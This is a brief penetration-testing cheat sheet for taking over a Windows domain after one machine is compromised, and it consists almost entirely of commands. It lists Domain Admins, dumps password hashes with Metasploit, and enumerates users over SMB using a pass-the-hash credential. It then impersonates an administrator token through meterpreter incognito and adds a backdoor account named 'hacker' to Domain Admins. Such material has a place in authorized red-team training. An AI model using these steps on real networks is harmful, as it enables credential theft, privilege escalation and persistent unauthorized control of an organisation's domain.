

DomainAdminExploitation

[+] After compromising a Windows machine:

[>] List the domain administrators:

```
From Shell - net group "Domain Admins" /domain
```

[>] Dump the hashes (Metasploit)

```
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
```

[>] Find the admins (Metasploit)

```
spool /tmp/enumdomainusers.txt
```

```
msf > use auxiliary/scanner/smb/smb_enumusers_domain
```

```
msf > set smbuser Administrator
```

```
msf > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

```
msf > set rhosts 10.10.10.0/24
```

```
msf > set threads 8
```

```
msf > run
```

```
msf> spool off
```

[>] Compromise Admin's box

```
meterpreter > load incognito
```

```
meterpreter > list_tokens -u
```

```
meterpreter > impersonate_token MYDOM\\administrator
```

```
meterpreter > getuid
```

```
meterpreter > shell
```

```
C:\> whoami
```

```
mydom\administrator
```

```
C:\> net user hacker /add /domain
```

```
C:\> net group "Domain Admins" hacker /add /domain
```